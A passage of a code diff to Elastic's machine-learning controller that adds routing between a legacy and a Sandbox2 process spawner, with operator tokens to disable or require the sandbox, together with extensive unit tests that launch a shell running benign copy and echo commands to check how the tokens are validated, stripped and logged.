synchronised: like m_LegacySpawner's own contract, every router + //! entry point is called from the controller's single + //! command-processing thread (bin/controller/CCommandProcessor.cc), so + //! the lazy creation below needs no lock. + std::unique_ptr m_SandboxSpawner; + + TStrVec m_SandboxedProcessPaths; +}; + +} // namespace controller +} // namespace ml + +#endif // INCLUDED_ml_controller_CProcessSpawnerRouter_h diff --git a/bin/controller/Main.cc b/bin/controller/Main.cc index 9a863f2429..e6fbc5b07b 100644 --- a/bin/controller/Main.cc +++ b/bin/controller/Main.cc @@ -206,8 +206,17 @@ int main(int argc, char** argv) { ml::controller::CCommandProcessor::TStrVec permittedProcessPaths{ "./autodetect", "./categorize", "./data_frame_analyzer", "./normalize", "./pytorch_inference"}; - - ml::controller::CCommandProcessor processor{permittedProcessPaths, *outputStream}; + // Unconditional on every platform, deliberately: this list only + // nominates which process path the --disableSandbox/--requireSandbox + // controller tokens are meaningful for, it does not by itself require + // Sandbox2 for that path. A plain (no-token) launch of + // ./pytorch_inference always takes the legacy route (see + // CCommandProcessor), so listing it here fails nothing on macOS, + // Windows, or a Linux build without Sandbox2 support. + ml::controller::CCommandProcessor::TStrVec sandboxedProcessPaths{"./pytorch_inference"}; + + ml::controller::CCommandProcessor processor{ + permittedProcessPaths, sandboxedProcessPaths, *outputStream}; processor.processCommands(*commandStream); cancellerThread.stop(); diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index d8701dcb7d..93e3626b34 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -9,11 +9,13 @@ * limitation. */ +#include #include #include #include "../CCommandProcessor.h" +#include #include #include @@ -48,6 +50,30 @@ const std::string PROCESS_ARGS2[]{"-c", "rm " + INPUT_FILE2}; #endif const std::string SLOGAN1{"Elastic is great!"}; const std::string SLOGAN2{"You know, for search!"}; + +//! Redirect the logger to a string stream for the duration of \p fn, so a +//! test can assert on the router's sandbox2_launch signal (the same +//! capture style bin/controller/unittest/CProcessSpawnerRouterTest.cc uses). + +//! RAII guard ensuring ml::core::CLogger::instance().reset() always runs, +//! even if the captured function throws (e.g. a failed BOOST_REQUIRE* +//! inside it) - without this, an exception mid-fn() would leave the global +//! logger redirected into a stream nobody reads for the rest of the test +//! binary process, causing misleading cascading failures/log loss in later, +//! unrelated tests. +class CScopedLoggerReset { +public: + ~CScopedLoggerReset() { ml::core::CLogger::instance().reset(); } +}; + +template +std::string captureLogged(FN&& fn) { + auto stream = boost::make_shared(); + BOOST_TEST_REQUIRE(ml::core::CLogger::instance().reconfigure(stream)); + CScopedLoggerReset resetOnExit; + fn(); + return stream->str(); +} } BOOST_AUTO_TEST_CASE(testStartPermitted) { @@ -58,7 +84,7 @@ BOOST_AUTO_TEST_CASE(testStartPermitted) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"1\t" + ml::controller::CCommandProcessor::START + '\t' + PROCESS_PATH}; for (std::size_t index = 0; index < std::size(PROCESS_ARGS1); ++index) { @@ -99,7 +125,7 @@ BOOST_AUTO_TEST_CASE(testStartNonPermitted) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"2\t" + ml::controller::CCommandProcessor::START + '\t' + PROCESS_PATH}; for (std::size_t index = 0; index < std::size(PROCESS_ARGS2); ++index) { @@ -135,7 +161,7 @@ BOOST_AUTO_TEST_CASE(testStartNonExistent) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"3\t" + ml::controller::CCommandProcessor::START + "\tsome other process"}; @@ -156,7 +182,7 @@ BOOST_AUTO_TEST_CASE(testKillDisallowed) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"4\t" + ml::controller::CCommandProcessor::KILL + '\t' + pidStr}; @@ -174,7 +200,7 @@ BOOST_AUTO_TEST_CASE(testInvalidVerb) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"5\tdrive\tsome other process"}; @@ -190,7 +216,7 @@ BOOST_AUTO_TEST_CASE(testTooFewTokens) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{ml::controller::CCommandProcessor::START + "\tsome other process"}; @@ -205,7 +231,7 @@ BOOST_AUTO_TEST_CASE(testMissingId) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{ml::controller::CCommandProcessor::START + "\tsome other process\targ1\targ2"}; @@ -217,4 +243,442 @@ BOOST_AUTO_TEST_CASE(testMissingId) { BOOST_REQUIRE_EQUAL("[]", responseStream.str()); } +namespace { +//! Build a tab-separated "start" command for \p processPath with \p args. +std::string startCommand(std::uint32_t id, + const std::string& processPath, + const std::vector& args) { + std::string command{ml::core::CStringUtils::typeToString(id) + '\t' + + ml::controller::CCommandProcessor::START + '\t' + processPath}; + for (const auto& arg : args) { + command += '\t'; + command += arg; + } + return command; +} + +//! \return true if \p file does not exist / could not be opened. +bool fileAbsent(const std::string& file) { + std::ifstream ifs{file}; + return ifs.is_open() == false; +} + +//! Args that copy INPUT_FILE1 to \p dest using this platform's copy command +//! (mirrors PROCESS_ARGS1's per-platform invocation above), with \p extra +//! tokens appended verbatim - e.g. to test --disableSandbox rejection or +//! stripping via the copy's own success/failure as the observable. +std::vector copyArgs(const std::string& dest, + const std::vector& extra = {}) { +#ifdef Windows + std::vector args{"/C", "copy " + INPUT_FILE1 + " " + dest}; +#else + std::vector args{"-c", "cp " + INPUT_FILE1 + " " + dest}; +#endif + args.insert(args.end(), extra.begin(), extra.end()); + return args; +} +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath) { + // Two occurrences of the token must be rejected outright, even when + // processPath IS the configured sandboxed path - never "last one + // wins"/"first one wins". + const std::string TARGET_FILE{"duplicate_reject_sandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 10, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--disableSandbox", "--disableSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + // Rejected before any spawn: the copy must never have happened. + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":10,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("specified 2 times") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnNonSandboxedPath) { + // Duplicate-token rejection applies regardless of whether processPath + // matches a configured sandboxed path. + const std::string TARGET_FILE{"duplicate_reject_nonsandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 11, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--disableSandbox", "--disableSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":11,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("specified 2 times") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { + // A single --disableSandbox token is only meaningful for the exact + // configured sandboxed path; on any other permitted process it must be + // rejected rather than silently ignored or passed through. + const std::string TARGET_FILE{"single_reject_nonsandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty: PROCESS_PATH not sandboxed + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 12, PROCESS_PATH, copyArgs(TARGET_FILE, {"--disableSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":12,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("only valid for the configured sandboxed process") != + std::string::npos); +} + +// These two tests distinguish "token stripped" from "token leaked through" +// by counting the exact number of positional arguments a POSIX shell -c +// script sees ($#) - a leaked token adds an extra argv entry, a stripped +// one doesn't. cmd.exe's /C form has no equivalent: it concatenates every +// argv element into one command-line string for CreateProcess rather than +// exposing them as separate replaceable parameters, so a copy-success/ +// failure observable (as used elsewhere in this file) can't distinguish +// the two cases here - a trailing token that isn't actually consumed by +// the command line has no observable effect either way. Genuinely +// Windows-untestable with this technique, not merely inconvenient. +#ifndef Windows +BOOST_AUTO_TEST_CASE(testStartStripsDisableSandboxTokenForConfiguredSandboxedPath) { + // A single --disableSandbox token on the configured sandboxed path must + // be stripped before the underlying spawner ever sees it. Verified via + // an observable side effect (arg count reaching the shell), not just + // the response: if the token leaked through, $# would be 1 instead of 0. + const std::string TARGET_FILE{"strip_token_arg_count.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 13, PROCESS_PATH, + {"-c", "echo $# > " + TARGET_FILE, "argv0name", "--disableSandbox"})}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{TARGET_FILE}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + std::remove(TARGET_FILE.c_str()); + + // If the token had NOT been stripped, argv0name and --disableSandbox + // would both reach the shell as positional args and $# would be 1. + BOOST_REQUIRE_EQUAL(std::string{"0"}, content); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":13,\"success\":true") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { + // With zero occurrences of --disableSandbox, args must reach the + // spawner completely unmodified (default route is Sandbox2, but this + // processPath isn't configured as sandboxed so it still dispatches to + // the legacy spawner, same as pre-existing behaviour). + const std::string TARGET_FILE{"absent_token_arg_count.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 14, PROCESS_PATH, {"-c", "echo $# > " + TARGET_FILE, "argv0name", "extraArg"})}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{TARGET_FILE}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + std::remove(TARGET_FILE.c_str()); + + BOOST_REQUIRE_EQUAL(std::string{"1"}, content); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":14,\"success\":true") != std::string::npos); +} +#endif // !Windows + +BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath) { + // Permanent behaviour, not a rollout seam: a start command with neither + // routing token for the configured sandboxed path must take the + // *legacy* route - i.e. behave exactly as it did before typed routing + // existed. Observed here as the copy succeeding: had the route been + // E_Sandbox2, this build (no Sandbox2 support / no real Sandbox2 policy + // for /bin/sh) would have failed closed instead. + // + // Deliberately not gated on !SANDBOX2_AVAILABLE: the no-token default is + // platform-independent, and on a Sandbox2 build this still proves the + // legacy dispatch (a Sandbox2 launch of /bin/sh with these args would + // not produce the file). + const std::string TARGET_FILE{"sandbox2_default_dormant_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand(16, PROCESS_PATH, copyArgs(TARGET_FILE))}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{TARGET_FILE}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + std::remove(TARGET_FILE.c_str()); + BOOST_REQUIRE_EQUAL(SLOGAN1, content); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":16,\"success\":true") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { + // The two legacy-route provenances must arrive at the sandbox2_launch + // signal distinguishable: mode == "degraded" alone cannot separate a + // deliberate operator kill switch from the permanent no-token default. + // This asserts the wiring from the route decision in handleStart() + // through to the emitted signal. + const std::string TARGET_FILE{"sandbox2_legacy_reason_out.txt"}; + + // (a) No token -> no_token_default. + std::remove(TARGET_FILE.c_str()); + std::ostringstream dormantResponses; + std::string dormantLogged{captureLogged([&] { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + dormantResponses}; + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( + 20, PROCESS_PATH, copyArgs(TARGET_FILE)))); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(TARGET_FILE.c_str()); + + BOOST_REQUIRE(dormantLogged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"no_token_default\"") != + std::string::npos); + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"kill_switch\"") == + std::string::npos); + + // (b) Validated --disableSandbox token -> kill_switch. + std::remove(TARGET_FILE.c_str()); + std::ostringstream killSwitchResponses; + std::string killSwitchLogged{captureLogged([&] { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + killSwitchResponses}; + BOOST_REQUIRE_EQUAL( + true, processor.handleCommand(startCommand( + 21, PROCESS_PATH, copyArgs(TARGET_FILE, {"--disableSandbox"})))); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(TARGET_FILE.c_str()); + + BOOST_REQUIRE(killSwitchLogged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"kill_switch\"") != + std::string::npos); + BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"no_token_default\"") == + std::string::npos); + + // (c) Validated --requireSandbox token -> route "sandbox2", no + // legacy_reason field at all (it is only emitted for route == "legacy"). + // The underlying spawn itself is expected to fail on a build with no + // Sandbox2 support / no real Sandbox2 policy for /bin/sh - the signal is + // emitted regardless of spawn outcome, so this assertion holds on every + // platform this test runs on. + std::remove(TARGET_FILE.c_str()); + std::ostringstream requireSandboxResponses; + std::string requireSandboxLogged{captureLogged([&] { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + requireSandboxResponses}; + processor.handleCommand(startCommand( + 22, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(TARGET_FILE.c_str()); + + BOOST_REQUIRE(requireSandboxLogged.find("\"route\":\"sandbox2\"") != std::string::npos); + BOOST_REQUIRE(requireSandboxLogged.find("\"legacy_reason\"") == std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateRequireSandboxTokenOnSandboxedPath) { + // Symmetric with testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath: + // two occurrences of --requireSandbox must be rejected outright. + const std::string TARGET_FILE{"duplicate_reject_require_sandbox_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 23, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--requireSandbox", "--requireSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":23,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("specified 2 times") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsRequireSandboxTokenOnNonSandboxedPath) { + // Symmetric with testStartRejectsDisableSandboxTokenOnNonSandboxedPath: + // --requireSandbox is only meaningful for the exact configured sandboxed + // path; on any other permitted process it must be rejected, not + // silently ignored or passed through. + const std::string TARGET_FILE{"single_reject_require_sandbox_nonsandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty: PROCESS_PATH not sandboxed + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 24, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":24,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("only valid for the configured sandboxed process") != + std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsBothRoutingTokensPresentTogether) { + // A start command must never be ambiguous about its own route: naming + // both --disableSandbox and --requireSandbox together is rejected + // outright, not resolved by precedence between them. + const std::string TARGET_FILE{"both_routing_tokens_reject_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 25, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--disableSandbox", "--requireSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":25,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("mutually exclusive") != std::string::npos); +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testStartRequireSandboxTokenSelectsSandbox2RouteAndFailsClosed) { + // A validated --requireSandbox token on the configured sandboxed path + // selects the Sandbox2 route (no automatic legacy fallback). On a build + // with no Sandbox2 support, CProcessSpawnerRouter fails closed for that + // route - observed here as the command failing rather than the copy + // succeeding, which is exactly how we know Sandbox2 (not legacy) was + // selected: had the route been E_Legacy, this copy would have succeeded + // (see testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath, + // which is the same vector with no token at all). + const std::string TARGET_FILE{"sandbox2_route_selected_out.txt"}; + std::remove(TARGET_FILE.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{startCommand( + 15, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":15,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("Failed to start process") != std::string::npos); +} +#endif // !SANDBOX2_AVAILABLE + BOOST_AUTO_TEST_SUITE_END() diff --git a/bin/controller/unittest/CMakeLists.txt b/bin/controller/unittest/CMakeLists.txt index 93c7c78cca..ade2d60e5d 100644 --- a/bin/controller/unittest/CMakeLists.txt +++ b/bin/controller/unittest/CMakeLists.txt @@ -15,6 +15,7 @@ set (SRCS Main.cc CBlockingCallCancellingStreamMonitorTest.cc CCommandProcessorTest.cc + CProcessSpawnerRouterTest.cc CResponseJsonWriterTest.cc ) @@ -22,6 +23,7 @@ set(ML_LINK_LIBRARIES ${Boost_LIBRARIES_WITH_UNIT_TEST} ${LIBXML2_LIBRARIES} MlCore + MlSandbox MlTest MlVer ) diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc new file mode 100644 index 0000000000..e801780cc6 --- /dev/null +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -0,0 +1,634 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#include +#include +#include +#include + +#include "../CProcessSpawnerRouter.h" + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +// This file follows CCommandProcessorTest.cc's convention of testing spawn +// dispatch without a spawner spy: it drives real (non-Linux) dispatch to +// core::CDetachedProcessSpawner and observes side effects / hasChild(), and +// gates anything that would actually reach CSandboxedProcessSpawner behind +// SANDBOX2_AVAILABLE - the same macro CProcessSpawnerRouter::spawn() itself +// branches on - rather than the coarser `Linux`. +// +// sandbox2_launch signal assertions redirect ml::core::CLogger to an +// in-memory stream (the same technique CBoostedTreeTest.cc uses for its own +// LOG_ERROR assertions) and inspect the emitted JSON line as a substring +// match per field, rather than parsing JSON - this avoids pulling in a JSON +// parser dependency for a handful of flat string/bool fields. + +BOOST_AUTO_TEST_SUITE(CProcessSpawnerRouterTest) + +namespace { +#ifdef Windows +// Unlike Windows NT system calls, copy's command line cannot cope with +// forward slash path separators +const std::string INPUT_FILE{"testfiles\\slogan1.txt"}; +const char* winDir{std::getenv("windir")}; +const std::string PROCESS_PATH{winDir != nullptr + ? std::string{winDir} + "\\System32\\cmd" + : std::string{"C:\\Windows\\System32\\cmd"}}; +std::string copyArgsScript(const std::string& outputFile) { + return "copy " + INPUT_FILE + " " + outputFile; +} +const std::string SHELL_FLAG{"/C"}; +#else +const std::string INPUT_FILE{"testfiles/slogan1.txt"}; +const std::string PROCESS_PATH{"/bin/sh"}; +std::string copyArgsScript(const std::string& outputFile) { + return "cp " + INPUT_FILE + " " + outputFile; +} +const std::string SHELL_FLAG{"-c"}; +#endif +const std::string SLOGAN1{"Elastic is great!"}; + +//! Run \p router's spawn() for a shell command that copies INPUT_FILE to +//! \p outputFile, and assert the copy actually happened - proof the call +//! was dispatched to a working spawner backend, not just that spawn() +//! returned true. +void assertDispatchCopiesFile(ml::controller::CProcessSpawnerRouter& router, + ml::controller::CProcessSpawnerRouter::ERoute route, + const std::string& outputFile) { + std::remove(outputFile.c_str()); + + ml::controller::CProcessSpawnerRouter::TStrVec args{SHELL_FLAG, copyArgsScript(outputFile)}; + ml::core::CProcess::TPid childPid{0}; + BOOST_TEST_REQUIRE(router.spawn(route, PROCESS_PATH, args, childPid)); + BOOST_TEST_REQUIRE(childPid != 0); + + // Expect the copy to complete well inside 1 second, matching + // CCommandProcessorTest.cc's own timing assumption for the same kind of + // command. + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{outputFile}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + BOOST_REQUIRE_EQUAL(SLOGAN1, content); + + std::remove(outputFile.c_str()); +} + +//! Redirect ml::core::CLogger to an in-memory stream for the duration of +//! \p fn, then reset() it back to its default configuration before +//! returning - callers must not leak the redirect into later test cases. +//! \return everything logged while \p fn ran, so the caller can search for +//! the sandbox2_launch signal's JSON line as a substring. + +//! RAII guard ensuring ml::core::CLogger::instance().reset() always runs, +//! even if the captured function throws (e.g. a failed BOOST_REQUIRE* +//! inside it) - without this, an exception mid-fn() would leave the global +//! logger redirected into a stream nobody reads for the rest of the test +//! binary process, causing misleading cascading failures/log loss in later, +//! unrelated tests. +class CScopedLoggerReset { +public: + ~CScopedLoggerReset() { ml::core::CLogger::instance().reset(); } +}; + +template +std::string captureLogged(FN&& fn) { + auto stream = boost::make_shared(); + BOOST_TEST_REQUIRE(ml::core::CLogger::instance().reconfigure(stream)); + CScopedLoggerReset resetOnExit; + fn(); + return stream->str(); +} + +#ifndef Windows +//! Creates a canonical, existing $TMPDIR/ml-child-ipc/ directory +//! and points TMPDIR at that trusted base for the duration of a scope, so +//! sandbox::validateChildIpcLaunchSpec() (which does live ::realpath() calls +//! and requires the parent directory to exist) can derive a real +//! deployment_id. Restores the previous TMPDIR and removes the tree on +//! destruction. +class CScopedChildIpcRoot { +public: + explicit CScopedChildIpcRoot(const std::string& childId) + : m_ChildId{childId} { + const char* previous{std::getenv("TMPDIR")}; + m_HadPreviousTmpDir = previous != nullptr; + if (m_HadPreviousTmpDir) { + m_PreviousTmpDir.assign(previous); + } + + // boost::filesystem::canonical() so the base itself is already + // canonical - validateChildIpcLaunchSpec() compares the literal and + // canonical parents and rejects any difference, and on macOS the + // system temporary directories are reached through symlinks. + m_TrustedTmpDir = (boost::filesystem::canonical(boost::filesystem::current_path()) / + ("router_h4_tmp_" + childId)) + .string(); + m_ChildIpcRoot = m_TrustedTmpDir + "/ml-child-ipc/" + childId; + boost::filesystem::create_directories(m_ChildIpcRoot); + + BOOST_REQUIRE_EQUAL( + 0, ml::core::CSetEnv::setEnv("TMPDIR", m_TrustedTmpDir.c_str(), 1)); + } + + ~CScopedChildIpcRoot() { + if (m_HadPreviousTmpDir) { + ml::core::CSetEnv::setEnv("TMPDIR", m_PreviousTmpDir.c_str(), 1); + } else { + ml::core::CUnSetEnv::unSetEnv("TMPDIR"); + } + boost::system::error_code ignored; + boost::filesystem::remove_all(m_TrustedTmpDir, ignored); + } + + //! An --input= argument inside this child's IPC root, i.e. one + //! validateChildIpcLaunchSpec() accepts and derives m_ChildId from. + std::string inputArg() const { + return "--input=" + m_ChildIpcRoot + "/input"; + } + + CScopedChildIpcRoot(const CScopedChildIpcRoot&) = delete; + CScopedChildIpcRoot& operator=(const CScopedChildIpcRoot&) = delete; + +private: + std::string m_ChildId; + std::string m_TrustedTmpDir; + std::string m_ChildIpcRoot; + std::string m_PreviousTmpDir; + bool m_HadPreviousTmpDir{false}; +}; +#endif // !Windows +} + +BOOST_AUTO_TEST_CASE(testSandbox2RouteDispatchesLegacyForUnsandboxedPath) { + // processPath is permitted but not listed as sandboxed: an E_Sandbox2 + // route must still land on the legacy spawner, exactly like today's + // CDetachedProcessSpawner-only paths for autodetect/categorize/etc. + 